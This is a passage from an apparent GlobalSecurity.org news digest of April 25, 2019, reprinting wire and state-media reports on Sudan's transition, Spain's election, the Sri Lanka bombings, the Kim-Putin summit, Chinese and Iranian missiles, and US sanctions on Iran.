protest group, the Sudanese Professionals Association (SPA), organized the march after talks with the Transitional Military Council deadlocked. Three members of the TMC resigned late Wednesday after the SPA called for the march. The TMC identified them as Lieutenant-Generals Omar Zain al-Abideen, Jalal al-Deen al-Sheikh, and Al-Tayeb Babakr Ali Fadeel. But their resignations were not immediately accepted. Mohamed al-Wasilla took part in Thursday's protest and has also been part of a two-week sit-in outside army headquarters in Khartoum. He said the timing of the resignations is no coincidence. He said the military council has realized the effectiveness of their sit-in; it puts pressure on them. The people are the power now, he said, but the military thinks they can defuse them by playing games with time. The SPA was demanding the three lieutenant-generals be dismissed and tried over their alleged roles in a crackdown that killed dozens of protesters. Sudan's opposition and the TMC agreed late Wednesday to form a committee to try to resolve their disagreements. The spokesman of TMC Shams Eldin Kabashi stressed in a press conference after that they agreed in principle to push the situation forward. He said the TMC and the protesters' Forces for Freedom and Change are complimentary to each other. They're looking forward to establish what fulfills Sudanese ambitions, said Kabashi. Political analyst Mutasim Ahmed said the military resignations and meetings with protesters are a good sign. He said now that trust has been restored between the two main forces, Freedom and Change forces and the TMC, and that those two forces have changed the former regime. But their mission now, said Ahmed, is to get rid of the former regime's roots. After four months of anti-government protests, the military ousted Bashir on April 11 after he spent three decades in power. Military leaders took over, promising elections within two years. But protesters are demanding immediate civilian rule and have refused to leave the streets. On Thursday, Reuters news quoted opposition leader Sadiq Mahdi as saying Sudan could face a counter-coup if military rulers and the opposition don't reach an agreement on transition. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Ill-Tempered Spanish Election May Lead to Greater Deadlock, Division By Jamie Dettmer April 25, 2019 For the third time in four years Spaniards head to polling stations Sunday, and are likely to confirm a Europe-wide electoral pattern of voters moving away from traditional parties. With the emergence of new populist-based factions, European politics is becoming more fragmented, leading to minority governments, misshapen governing coalitions, more political deadlock and less predictability. That is likely to be the fate of Spain come Sunday, with some analysts forecasting another snap election may have to be called later in the year. The election will confirm the fragmentation of politics, according to Ivan Llamazares, a political scientist at Universidad de Salamanca. He says it will "be very difficult to form stable legislative majorities in the coming years" in Spain thanks to a breakdown in centrist, consensual politics. The Socialists, led by Pedro Sanchez, the current prime minister, are expected to attract the largest share of the vote in an ill-natured general election on April 28, which has seen tempers fray and accusations of treason being hurled with abandon. The rise of the ultra-nationalist Vox party, which last December won 12 seats in the regional parliament in Andalusia, has added a sharpness and volatility to the election. Socialists more united under Sanchez Coming out on top of the polls Sunday will be a remarkable achievement in itself for Sanchez until last year the Socialists were mired in vicious splits and appeared out for the count following two bruising electoral defeats. Pollsters suggest Sanchez's party will secure 30 percent of the vote. But, despite their revival, the Spanish Socialist Party (PSOE) will likely be denied an overall majority. It will be best positioned, though, to try to form a formal coalition government, the first at the national level since the restoration of democracy in 1977, predict pollsters and analysts. Sanchez began the Socialist comeback last May when he seized on a string of corruption scandals to unseat the Conservative government of Mariano Rajoy with a surprise no-confidence motion that attracted the support of lawmakers in the the leftist Podemos party as well as Catalan and Basque nationalists. Since then as the prime minister of a minority government, Sanchez has been astute in rebuilding the PSOE's base with a series of progressive actions. They have included hiking the minimum wage, appointing a female-dominated Cabinet and starting the legal process to move the embalmed body of the late military dictator, Gen. Francisco Franco, from a huge mausoleum near Madrid, which has become a shrine for far-right activists. Those moves have helped the PSOE shoot ahead in the opinion polls of the Conservative Popular Party (PP). Until 2015, the PSOE and the PP alternated in power, sometimes relying on Catalan or Basque nationalists to make up the numbers to secure a working parliamentary majority. But with newer populist-based parties vying for votes, including the right-of-center Ciudadanos, leftist Podemos as well as the far-right Vox, the ease of what was in essence a two-party political system has long disappeared. Vox party: 'Make Spain great again' One factor that has helped Sanchez the most, according to Anna Rosenberg, a global investment adviser, has been the emergence of Vox, which promises "to make Spain great again" and crack down on immigration. "People are really scared of the rise of the right-wing parties and that will mobilize voters that might not have been expected to vote before," she forecast. Vox, an ultra-nationalist party led by Santiago Abascal, has risen from nowhere to become a serious electoral force. Last December it won 12 seats in regional elections in Andalusia, overturning a post-1977 article of political faith in Spain that an avowedly far-right party couldn't establish itself because of memories of Spain's long-running dictatorship. Franco ruled Spain from 1939 to his death in 1975. Ivan Llamazares says Vox, which is attracting Conservative voters angry with Catalan efforts to separate from Spain, "has fragmented the right and pulled its two main parties, the conservative PP and center-right Ciudadanos, to more extreme ideological positions." Vox leaders say pollsters are getting it wrong. They maintain they will be able to form a right wing coalition after Sunday's vote with the PP and Ciudadanos. "I don't expect the socialists to be able to form a government," says party official Ivan Espinosa de los Monteros. Last week Sanchez told supporters at an election rally in his hometown outside Seville that he hadn't been able in his short stint as prime minister to take on the more ambitious structural reforms he believes the country needs, from overhauling a moribund education system to shaking up labor market regulations. "But we have managed to change its course," he said. Sunday's election will determine whether that is true or not. Or if Spain is heading for greater, paralyzing deadlock. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Warns of More Possible Attacks in Sri Lanka By VOA News April 25, 2019 The U.S. Embassy in Colombo has advised people to avoid places of worship in Sri Lanka over the coming weekend, citing Sri Lankan reports that additional attacks may occur. "Continue to remain vigilant and avoid large crowds," the embassy said Thursday on its official Twitter account. The warning comes days after a devastating attack on Christian worshipers on Easter Sunday when suicide bombers killed more than 250 people. Officials had earlier set the death toll at more than 350 but revised the number on Thursday, saying some of the bodies may have been counted twice. Sri Lanka's Defense Secretary Hemasriri Fernando quit Thursday in the wake of the bombings, heeding calls from Sri Lanka's president for his resignation. President Maithripala Sirisena had called on Fernando as well as the police chief Pujith Jayasundara to step down after he promised in a televised address to take stern action against officials who did not share with him the intelligence alerts that came from India days prior to the bombing of churches and luxury hotels. As the government faces an outpouring of public anger over the failure to heed the warnings, senior officials admit it has been a "major lapse." Fernando said that there had been no failure on his own part, but he resigned to take responsibility for the failures of some institutions he headed, Reuters reported. Reports say Indian intelligence agencies sent out several warnings to Sri Lanka, and that Indian security agencies had gathered details about Islamic militant group National Thowfeek Jamaath (NTJ), which is suspected of carrying out the attacks. The government also faces scrutiny on whether bitter political wrangling between Sirisena and Prime Minister Ranil Wickremesinghe contributed to the failure to act upon warnings about the attacks. Wickremesinghe said that there had been a "breakdown in communication." Islamic State claimed responsibility for the bombings. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Putin, Dozens Of Other Leaders Gather In China For 'Belt And Road' Summit April 25, 2019 Leaders from dozens of countries have begun arriving in Beijing to attend the April 25-27 Belt and Road Forum. China's $1 trillion Belt and Road initiative seeks to create new rail, road, port, and energy infrastructure that links China with Europe, Africa, and other parts of Asia. The United States and many EU countries have criticized China's project and its lending for regional infrastructure efforts, warning that it has saddled some developing countries with debts that they cannot afford to repay. The high-profile meeting brings together dozens of heads of states, including Russian President Vladimir Putin, Pakistani Prime Minister Imran Khan, and Italian Prime Minister Giuseppe Conte, whose country became the first G7 member to sign up to the initiative. Putin arrived in Beijing for the summit late on April 25 after talks earlier in the day with North Korean leader Kim Jong Un in Russia's Far East port city of Vladivostok. EU members Germany and France are sending ministers, while the United States has not dispatched any officials from Washington. "We call upon all countries to ensure that their economic diplomacy initiatives adhere to internationally accepted norms and standards, promote sustainable, inclusive development, and advance good governance and strong economic institutions," a U.S. Embassy spokesperson said. The 37 heads of state that will attend the forum also include Belarusian President Alyaksandr Lukashenka, Azerbaijani President Ilham Aliyev, and Uzbek President Shavkat Mirziyoev. Since Chinese President Xi Jinping launched the initiative in 2013, China has invested $90 billion in projects while Chinese banks have provided at least $200 billion in loans to foreign governments. Based on reporting by AFP and Reuters Source: https://www.rferl.org/a/dozens-of-world- leaders-arrive-in-china-for-belt- and-road-forum/29902631.html Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address 'A Very Big Gap': China's PLARF Outclasses US Missiles, Puts Carriers At Risk Sputnik News 22:40 25.04.2019(updated 22:51 25.04.2019) The Chinese military is winning the conventional missile arms race, particularly for anti-ship missiles, and US commanders are frantically trying to come up with alternative strategies before US aircraft carriers become obsolete. "We know that China has the most advanced ballistic missile force in the world," James Fanell, a retired US Navy captain and former senior intelligence officer with the US Pacific Fleet, told Reuters Thursday. "They have the capacity to overwhelm the defensive systems we are pursuing." Robert Haddick, a former US Marine Corps officer and visiting senior fellow at the Mitchell Institute for Aerospace Studies, who is also an adviser to the US Special Operations Command, told Reuters Thursday that "China's anti-ship missile capability exceeds those of the United States in terms of range, speed and sensor performance." Since long before the 1949 revolution that swept the Communist Party to power in the new People's Republic of China, the US had ignored Beijing's military capabilities, and paid little more attention since then. However, Beijing has spent decades building up an effective deterrent of cheap, long-range missiles aiming not for parity with the Pentagon, but deterrence of its most dangerous assets: the dozen super carriers Washington uses to terrorize countries that stand against it. The US Navy hasn't seen its nautical supremacy contested since World War II, when it waged an all-out war across the Pacific against the Imperial Japanese Navy. Like China today, the Soviet Union aimed to keep US carriers and submarines away from its coastlines and littoral areas with huge naval missile platforms, even building aircraft carriers with missile launchers on them, like the Kiev-class "heavy aviation cruisers." The Admiral Gorshkov, a modernized Project 1143 Kiev-class carrier which received many of the improvements that would appear in Project 1143.5 ships China takes missiles so seriously that in 2015, Chinese President Xi Jinping elevated the People's Liberation Army Rocket Force (PLARF) to the status of full service branch, alongside the army, navy and air force. While Beijing has never made public the size of its missile arsenal, the Communist Youth League has posted some figures about the PLARF, showing it's roughly 100,000-men strong and has 200 intercontinental ballistic missiles and 300 medium-range ballistic missiles. It also has 1,150 short-range ballistic missiles and 3,000 cruise missiles, according to the group, which is the youth wing of the Communist Party. PLARF's weapons have the advantages of both speed and range over US counterparts. For example, while the US has no operational supersonic or long-range anti-ship missiles, China has two: the YJ-12, with a range of 400 kilometers, and the YJ-18, with a 540-kilometer range. The best US anti-ship missile, the subsonic RGM-UGH-84 Harpoon, was recently modified to extend its range to 240 kilometers. Raytheon has been trying to upgrade its 1,600-kilometer range Tomahawk cruise missile to be able to strike ships, but the weapon is far from ready to be fielded against the PLAN. "That is a very big gap," Haddick noted. Hypersonic technology is another area where China leads the US: since 2014, Beijing has been testing weapons that fly up to five times the speed of sound, using a kind of jet engine called a ramjet or scramjet, specially designed for the incredible speeds. "Frankly, we were the leaders in that 10 and 15 years ago, and we just let it drop," Michael Griffin, US Undersecretary of Defense for Research and Engineering, told lawmakers in April 2018 about hypersonic weapons development. "We need to get started again." "We do not have defenses against those systems," he warned. The US tested a hypersonic cruise missile in 2017, but contracts given to Lockheed Martin and Raytheon to develop the weapons are recent and haven't yielded results. "We are at a disadvantage with regard to China today in the sense that China has ground-based ballistic missiles that threaten our basing in the Western Pacific and our ships," Admiral Harry Harris, former head of US Pacific Command, told the US Senate Armed Services Committee in March 2018. Beijing has made no bones about the purpose of its missiles, either. While a former PLA colonel conceded to Reuters that "US missiles are superior to ours in terms of quality and quantity," Beijing still has the advantage in terms of cost: it can produce vastly more missiles than US air defenses could hope to shoot down, and a carrier might cost 10,000 times what a missile does. "We cannot defeat the United States at sea," the retired PLA colonel told Reuters. "But we have missiles that specifically target aircraft carriers to stop them from approaching our territorial waters if there were conflict." One animation at the Zhuhai Air Show last November showed a swarm of missiles hitting enemy warships, including aircraft carriers; at the same demonstration, the PLARF unveiled the the supersonic CM-401 ballistic anti-ship missile, which has a 290-kilometer range. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Kim, Putin hold first ever summit Global Times By Sun Haoran and Leng Shumei Source:Global Times Published: 2019/4/25 23:08:40 North Korean leader Kim Jong-un and Russian President Vladimir Putin held their first ever summit on Thursday afternoon during which they discussed ways to peacefully settle Korean Peninsula issues in the aftermath of the fruitless US-North Korea summit in Hanoi. Although details of the Kim-Putin talks had not been released as of press time, Chinese analysts believe it will help North Korea gain more leverage in future talks with the US by winning support from an important member of the UN Security Council. The meeting between Kim and Putin lasted for about two hours. Putin said he was "pleased" with the outcome of the summit meeting, saying he would discuss the results with China and the US, CNN reported. Asked if Kim would be willing to continue his contact with the US, Putin said the North Korean leader would be guided by his "national interests," but added that "we can't resolve anything without talks" when it came to the Korean Peninsula issues. Putin will attend the second Belt and Road Forum for International Cooperation scheduled to open on Friday when according to CNN, he will discuss the summit with top Chinese leaders. "Moreover, Kim Jong-un himself asked us to inform the American side about his position, about the issues that arose for him in connection with the processes that are taking place on and around the Korean Peninsula," said the Russian president, CNN reported. "I came to Russia to exchange opinions on the situation on the Korean Peninsula, which is one of the major problems on the current international agenda, as well as discuss ways to peacefully settle this issue," Kim was quoted as saying by Russia's TASS news agency. TASS said the two leaders described the meeting as "thorough" and "fruitful and constructive." According to information received, the meeting between Putin and Kim has had positive outcomes, which China believes will provide new impetus to solve issues on the Korean Peninsula, Chinese Foreign Ministry spokesperson Geng Shuang said at a routine press conference on Thursday. "China is willing to cooperate with all related sides, including Russia, to continue promoting the denuclearization process of the Korean Peninsula and settlement of political issues on the peninsula," Geng said. Possible resumption? The summit came two months after the failed second summit between Kim and US President Donald Trump in Hanoi, Vietnam, which took place on February 27-28. The current bottleneck in resolving the Korean Peninsula issue lies in the disagreement between North Korea and the US over the reduction of economic sanctions, Yang Mian, a professor at the Institute of International Relations at the China University of Communications, told the Global Times on Thursday. North Korea has pledged to gradually abandon its nuclear program and shift to economic development, but the US still refuses to make any concession on sanctions unless the country promises total denuclearization, Yang said. "North Korea is unwilling to completely abandon its nuclear program because it fears threats to its security," Yang said. Chinese analysts noted that the stalled Six-Party Talks were still the only efficient way of addressing denuclearization of the Korean Peninsula, but all other efforts merit support. The Six-Party Talks are really the only viable mechanism for a reasonable solution as it is a platform that includes all the stakeholders in the North Korean nuclear issue, said Dong Xiangrong, a research fellow at the National Institute of International Strategy of the Chinese Academy of Social Sciences. Putin also called for another round of Six-Party Talks to discuss North Korea's nuclear program, reported USA Today on Thursday. However, Yang noted that if there is a third US-North Korea summit, it may not be so important to resume the Six-Party Talks right now. The Six-Party Talks were initiated in August 2003 in Beijing following North Korea's withdrawal from the Nuclear Nonproliferation Treaty in January the same year. The collective forum consists of representatives from China, the US, North Korea, South Korea, Russia, and Japan, in hopes of finding a political and diplomatic solution to the nuclear issue on the Korean Peninsula. The mechanism stalled after North Korea declared in 2009 that it would no longer participate in the Six-Party Talks and that it would no longer be bound by any of the previous agreements reached in the discussions. "The key for a more pragmatic Six-Party Talks mechanism is that all the members need to find an effective way to enhance the power to implement and supervise, and maybe consider different approaches, such as sub-bilateral or multilateral talks under the Six-Party frame," Lu Chao, a research fellow at the Liaoning Academy of Social Sciences, told the Global Times on Thursday. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Putin, Kim pledge closer ties in first summit Iran Press TV Thu Apr 25, 2019 09:09AM Russian President Vladimir Putin and North Korean leader Kim Jung-un have met in their first summit, in Russia's Far Eastern port city of Vladivostok, pledging closer ties between their countries. The two leaders greeted each other warmly on Thursday before heading for a one-on-one meeting at the Far Eastern State University on the Russky Island near Vladivostok. At their opening remarks, the Russian and North Korean leaders hailed their countries' long history of ties, and Putin said he sought to help calm tensions on the Korean Peninsula. "I am confident your visit today to Russia will help us to better understand how we can resolve the situation on the Korean Peninsula and what Russia can do to support the positive processes currently taking place," Putin said, apparently referring to North Korea's diplomatic engagement with its long-time rival South and the United States. The Russian president also said he welcomed Kim's efforts to normalize Pyongyang's relations with the US. Kim, for his part, said he hoped for "a very useful meeting in developing the relationship between the two countries which have a long friendship and history into a more stable and sound one." The North Korean leader arrived in Russia on Wednesday. The last meeting between the leaders of North Korea and Russia was in 2011, when the then-President Dmitry Medvedev met Kim's late father, Kim Jong-il. Moscow has relatively warm ties with Pyongyang and has called for an ease in the international sanctions on North Korea. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address After Meeting Kim, Putin Advocates Phased Denuclearization Approach By William Gallo April 25, 2019 Russian President Vladimir Putin says he believes North Korean leader Kim Jong Un could give up his nuclear weapons if he first receives security guarantees. Putin made the comment Thursday after holding his first ever summit with Kim in the far-eastern Russian city of Vladivostok. At a news conference following the talks, Putin also advocated a phased approach to denuclearization, in which the United States and North Korea slowly take steps to build trust. "If we move step-by-step with respect for each others' interests, then this goal can be achieved in the final end," Putin said, according to Russia's state-run Tass news agency. North Korea also prefers an incremental approach, under which it would commit to giving up parts of its nuclear weapons as Washington gradually relaxes sanctions. Trump is seeking what he calls a "big deal" in which North Korea agrees to give up its entire nuclear program in exchange for normalized ties with the United States. Kim said very little during his meeting with Putin, which included nearly two hours of one-on-one meetings, an expanded dialogue session with their delegations, and a dinner. "I had candid, meaningful talks with President Putin," Kim said, adding he would like to "relentlessly strengthen" ties with Russia. It is not clear what security guarantees North Korea may demand in exchange for giving up its nuclear weapons. According to the Russian news agency Tass, Putin said it is the "international, legal ones." In the past, North Korean officials have called for the United States to completely remove its strategic and nuclear-capable military assets from the region, which it views as a threat. No breakthrough? The meeting was held in the Russian port city of Vladivostok, about 200 kilometers from the border with North Korea. Kim is expected to stay in the city through Friday, touring various sites, including the Russian Pacific Fleet and an oceanarium, according to several media reports. Although Kim and Putin met for almost twice as long as expected, no major breakthroughs were announced at the summit and no joint statement was released. North Korea, which is hurting from international sanctions, wants more economic and diplomatic support from Russia, especially since nuclear talks with the United States have broken down. "North Korea needs an ally," says Jang Se-ho, a research fellow at the Seoul-based Institute for National Security Strategy. "And Russia has been seeking a chance to become involved more in the Korean peninsula. They now have a chance to do so." Putin said he would like to expand economic cooperation with North Korea, but gave no obvious sign that he is willing to give Kim any help that would further damage talks with the United States. Kim out of breath As he sat next to Putin during their opening remarks, Kim appeared to be tired and breathing heavier than usual, drawing speculation about his health from some North Korea watchers. The North Korean leader, believed to be around 35 years old, also appeared to be out of breath during an appearance Wednesday after arriving in Russia. All of Kim's appearances are watched closely for such signs, in part because until recently the public had not often gotten unscripted looks at him. "[Kim's health] is a big deal in a long-term perspective," though it's not clear it will have a short-term impact, said Olga Krasnyak, a professor at Seoul's Yonsei University. Meetings a boost for Kim Until last year, Kim hadn't left North Korea since taking power in 2011. Since then, Kim has met twice with U.S. President Donald Trump, three times with South Korean President Moon Jae-in, four times with Chinese President Xi Jinping, and once with Vietnamese President Nguyen Phu Trong. The meetings not only help Kim shed his image as an international pariah, they also provide a crucial internal propaganda boost, says Andrew O'Neil, a Korea specialist and professor at Australia's Griffith University. "A lot of what Kim Jong Un does internationally is directed inwardly, to reinforce his legitimacy in the eyes of the ordinary North Korean population...and within the North Korean elite structures," O'Neil said. But with North Korea's economy suffering from international sanctions and no relief on the horizon, Kim may need more than just symbolic support. At a February summit in Hanoi, Trump rejected Kim's offer to dismantle one of North Korea's main nuclear complexes in exchange for significant sanctions relief. Trump and Kim agreed last June to work toward the "complete denuclearization of the Korean peninsula," but the United States and North Korea have not agreed on what that phrase means. Putin: not much of a help? By meeting Putin, Kim may be signaling that he has other options for economic help. Russia's economy has its own problems, partly due to international sanctions imposed after Moscow's annexation of Crimea. And without buy-in from the United States, it is not clear how much Russia could do anyway. Russia-North Korea trade fell dramatically last year by more than 56 percent to $34 million. Kremlin officials say that is primarily because Russia was restrained by sanctions. The Soviet Union was once a crucial economic backer of North Korea. But in recent decades, Moscow has carried out a carefully balancing act with Pyongyang. Russia, a permanent member of the United Nations Security Council, signed onto tougher sanctions amid North Korea's nuclear and missile tests in 2016 and 2017. It has since called for the sanctions to be eased - a move that would require unanimous Security Council support. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address France seeks source of damaging leak on Yemen war Iran Press TV Thu Apr 25, 2019 08:29AM French authorities have been searching for a government employee who they believe has leaked damaging information about France's role in the Saudi-led war on Yemen to the media, a report says. In mid-April, the new investigative media outlet Disclose published a report that contained a classified 15-page note from the French military intelligence service (DRM) revealing that the two Arab countries had deployed French weaponry in their aggression against Yemeni. The leaked note, which was provided to the government in October 2018, contained lists of French-manufactured tanks, armored vehicles, fighter jets, helicopters, howitzers, ammunition, and radar systems sold to both Saudi Arabia and the UAE. The use of French weapons in Yemen contradicts previous public statements from Paris, which has repeatedly asserted that these weapons are used only in a limited manner and in "defensive" operations only. Back in January, French Armed Forces Minister Francoise Parly said during an interview on the France Inter radio station that she was "not aware that any (French) arms are being used in this conflict." Citing unnamed informed sources on Wednesday, AFP reported that an investigation into the "compromise of national defense secrecy" had been opened by prosecutors on December 13 last year after a complaint by the ministry of the armed forces. The AFP report did not say when the note was leaked. The sources also said that France's domestic intelligence agency, the DGSI, was leading the probe, which concerned the compromise of information involving a government employee and a third party. Disclose disagrees Disclose argued that the note was "of major public interest." "The confidential documents revealed by Disclose and its partners are of major public interest, that bring to the attention of citizens and their representatives what the government wanted to conceal," AFP quoted an editorial for Disclose and its partners as saying. Additionally, Geoffrey Livolsi, the founder of Disclose, said at least three journalists who had taken part in the preparation of the website's investigative report had been called in for a hearing to be conducted by the DGSI in May. "This judicial investigation has only one objective: to know the sources that allowed us to do our job. It is an attack on the freedom of the press and the protection of the sources of journalists," he said. The French weapons in action The report revealed that Leclerc tanks, a main battle tank built by the Nexter, and Mirage 2000-9 fighter jets sold in the 1990s to the UAE were being used in the war on Yemen. Furthermore, 48 CAESAR artillery guns, manufactured by the Nexter group, were being used along the Saudi-Yemen border by the Saudi-led coalition. Nexter Systems is a French state-owned manufacturer of weapons, based in Roanne, Loire. According to the DRM document, French-made Cougar transport helicopters and the A330 MRTT refueling plane have been seen in action, and two French ships are serving in the crippling blockade of Yemeni ports which has led to unprecedented food and medical shortages in impoverished Yemen. The classified note also contained a map estimating that over 430,000 Yemenis live within the range of French artillery weapons on the Saudi-Yemeni border. It further estimated that French weapons have resulted in civilian casualties. France, the third-biggest arms exporter in the world, is a large provider of various kinds of weapons to Saudi Arabia and the UAE. The French government has so far resisted pressure from rights groups to stop the lucrative arms trade with the two Persian Gulf countries, denying that the weapons were being used against the Yemenis. Saudi Arabia and a number of its regional allies, most notably the UAE, launched the devastating campaign against Yemen in March 2015. According to the Armed Conflict Location and Event Data Project (ACLED), a nonprofit conflict-research organization, the war has so far claimed the lives of about 56,000 Yemenis. Apart from France, the United States, Britain, and other Western countries have faced criticism over arms sales to the Saudi regime and its partners. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Iran's military might for defending sovereignty: Commander IRNA - Islamic Republic News Agency Tehran, April 25, IRNA -- Commander of Army Ground Force Brigadier General Kiumars Heidari reiterated that Iranian armed forces do not constitute a threat for others, and Iran's military power is meant merely for defending the country. Addressing a meeting on foreign countries' military attaches in Tehran on Wednesday, he underlined failure of US policies, saying, "US frustration became clear in Warsaw Meeting, as the countries, especially European states in accompanying it in imposing sanctions, prompted the US to opt for maximum pressure against Iran." 'Iran's armed forces are not seeking military confrontation with any country,' Brigadier-General Heidari said. Commenting on the achievements of the Iranian Army's Ground Force over the past 40 years, he said that the force played a crucial role in various fields, including natural disasters when it mobilized all its facilities to help them. General Heidari said that force plays a major role in ensuring the country's security, as it has deployed its troops along borders and holds various war games, including 'Eghtedar Maneuver'. Today, ground force assumes a crucial role in reinforcing the country's defense capabilities by designing and producing all types of equipment, including Zolfeqar tanks and tapping and tracking systrms, Heidari said. 8072**2050 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Germany vows to stand by Iran nuclear deal IRNA - Islamic Republic News Agency Tehran, April 25, IRNA -- Germany on Wednesday reaffirmed its commitment to a nuclear deal with Iran despite the recent US move to impose sanctions on countries that buy Iranian oil. Ulrike Demmer, the government's deputy spokeswoman, told a news conference in Berlin that they had taken note of the recent decision of the Trump administration, and will coordinate with other EU members to jointly assess its implications, Anadolu news agency reported. "As you know, the German federal government and the European Union remain committed to the nuclear agreement with Iran," she said, adding that this agreement would facilitate legitimate trade with Iran, in accordance with international and European Union law. "We continue to believe that this agreement is a very important instrument to prevent Iran from becoming armed with nuclear weapons," she said. US President Donald Trump last year pulled out of a landmark 2015 nuclear deal with Iran, and further intensified pressure on Tehran by re-imposing sanctions on Iranian oil exports. On Monday, Trump administration announced that it would no longer renew Iran sanctions' waivers on eight countries--Turkey, China, Greece, India, Italy, Japan, South Korea and Taiwan--upon their expiration on May 2. In 2015, world powers agreed to lift economic sanctions imposed on Iran in return for Tehran agreeing to limit its nuclear activity to peaceful and civilian purposes. The agreement, also known as Joint Comprehensive Plan of Action (JCPOA), was signed between Iran and major powers Russia, China, France, the UK, and US, plus Germany. Despite the US withdrawal from the agreement, EU heavyweights Germany, France and the UK have set up a new mechanism in January, offering European firms an alternative payments channel to continue trade with Iran despite US sanctions. 8072**2050 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Iran designs, builds three new missiles for attack copters Iran Press TV Thu Apr 25, 2019 04:55PM Experts at Iran's Defense Ministry and the Army Aviation have designed and produced three new missiles to be mounted on the military's attack helicopters, with a view to their mass-production in near future. The missiles, all of whom have a range of more than eight kilometers, are respectively dubbed Heidar, Qamar-e Bani Hashem, and the airborne version of the Dehlaviyeh armor-piercing missile, Fars News Agency reported on Thursday. The agency identified Heidar missile as a precision air-to-ground missile that can be used against armored and ground-based targets, including enemy gatherings. It can pierce its target as deep as one meter and be fitted with various seeker systems that would enable its deployment in different weather conditions. Qamar-e Bani Hashem missile can be used against the same targets, but can also function as an air-to-air projectile, lock onto its targets upon release, and be deployed in the dark. The new make of the Dehlaviyeh missile is a laser-guided air-to-ground projectile, which is similarly suitable for deployment against armored targets and is low in weight. It can pierce targets as deep as 1.20 meters. The new products have undergoing various tests and "will soon enter mass-production," Fars said. While asserting that its military power is deterrent in nature, Iran has invariably defended its inalienable right to enhance its military prowess against potential regional and extra-regional intrusion. In early February, Iran unveiled a surface-to-surface missile with a range of more than 1,350 kilometers during celebrations marking the 40th anniversary of the 1979 Islamic revolution. The missile, named Hoveyzeh after a city in southwest Iran known for its resistance during the 1980s Iraqi war, was showcased at an exhibition of defense achievements in Tehran on Saturday. "This cruise missile needs a very short time for its preparedness and can fly at a low altitude," Defense Minister Brigadier General Amir Hatami said during the unveiling ceremony. Hatami added that the missile, which has been designed and manufactured by experts at the ministry's aviation industries organization, has a range of over 1,350 kilometers. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US grants exemptions to new sanctions on Iran's elite military force Iran Press TV Thu Apr 25, 2019 07:11AM The United States has announced exemptions to new sanctions imposed on Iran's Islamic Revolution Guards Corps (IRGC), easing foreign dealings with the elite military force, which Washington blacklisted earlier this month. Under the waivers outlined by US Secretary of State Mike Pompeo in two notices on Wednesday, foreign governments and businesses that have dealings with the IRGC and its affiliates will not be subject to a ban on US travel. Pompeo said in the notices published in the Federal Register that he decided to waive the travel bans in US foreign policy and national security interests. The exceptions would allow those who work with the US in Iraq and Lebanon to maintain their relations with the IRGC without fear of repercussions. Earlier this month, the US designated the IRGC as a "foreign terrorist group," making the elite Iranian military force the first agency of a foreign government that has ever been blacklisted. Under US immigration law, foreigners found to have provided designated foreign "terrorist" organizations with "material support" can be banned from the US. The designation of IRGC has raised fears that American diplomats and troops might have to end contacts with officials in countries that have ties with Iran or the IRGC. In one notice, Pompeo said the sanctions "shall not apply to any ministry, department, agency, division, or other group or subgroup within any foreign government" unless that entity is covered by existing US sanctions. In the second notice, he said the sanctions won't apply "to any business, organization, or group, whether public or private, solely based on its provision of material support to any foreign government sub-entity that has been designated as a foreign terrorist organization." On Monday, Reuters quoted three current and three former US officials as saying that the US had backtracked on its earlier threat against those who have dealings with the IRGC, saying they would not necessarily be denied US visas or automatically face sanctions. Iran responded to the IRGC's blacklisting by designating the American forces in West Asia known as CENTCOM as terrorists. Washington's decision has also sparked global criticisms, with many countries arguing that blacklisting another country's military forces violates in international regulations. Critics inside the US have also warned the administration of President Donald Trump about the ramifications of the move for US forces in the Middle East. 'US might grant waivers from oil bans again' The new US exemptions came two days after the White House said US President Donald Trump has decided not to re-issue waivers that allow eight countries to buy Iranian oil without facing US sanctions when they expire in May. However, congressional aides and outside advisers familiar with the matter, who spoke on the condition of anonymity, said Washington might still reconsider the decision, the Associated Press reported. Under one scenario being considered by the US administration, buyers of Iranian oil could be allowed to place and pay for future orders before May 2, essentially front-loading continued imports, they said. Washington could then grant waivers from sanctions to transport and refine the oil under a 2012 law. The US State Department declined to comment on the possibility that Iranian oil imports might continue without sanctions. Trump had earlier vowed to reduce Tehran's oil revenue to "zero." Iran has, however, vowed to use its decades of experience with US bans and go around the new ones. Leader of the Islamic Revolution Ayatollah Seyyed Ali Khamenei said the US administration's hostile attempts to block Iran's oil sales will lead nowhere, and that the country will export "as much crude as it needs and wishes" in defiance of American sanctions. Iranian Minister of Petroleum Bijan Zangeneh also said Washington will never be able to achieve its "dream" of cutting Tehran's oil exports to "zero." China and Turkey, which are two major customers of Iranian crude, have severely censured the US decision to end sanctions waivers, saying they would not bow to US pressure. India has said it will try to comply but is hoping for a workaround. Oil prices, earlier this week, hit their highest level since November 2018 in the aftermath of Washington's decision to end exemptions from sanctions for the countries buying oil from Iran. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US Confident Iran Oil Buyers Will Find Alternatives By VOA News April 25, 2019 U.S. officials have expressed confidence that those who have been operating under waivers to buy Iranian oil will be able to find alternative supplies when those waivers expire next week. Speaking to reporters on a conference call, the officials cited China, Iran's biggest oil customer, as a country they say should be able to fulfill its oil needs elsewhere. China has criticized the U.S. decision, saying Chinese business with Iranian companies is transparent and legal. U.S. President Donald Trump reimposed sanctions on Iran last year after he abandoned the 2015 international agreement that gave Iran sanctions relief in exchange for it limiting its nuclear activity. The sanctions are meant to pressure Tehran to change what the administration calls Iran's "malign activities," and so far, the Trump administration says the measures have denied the Iranian government $10 billion. The United States issued eight waivers when it brought back the sanctions in November, temporarily exempting most of the biggest buyers of Iranian oil. Those included China, India, Japan, South Korea, Taiwan, Turkey, Italy and Greece. Since the sanctions were reintroduced, Italy, Greece and Taiwan have halted their 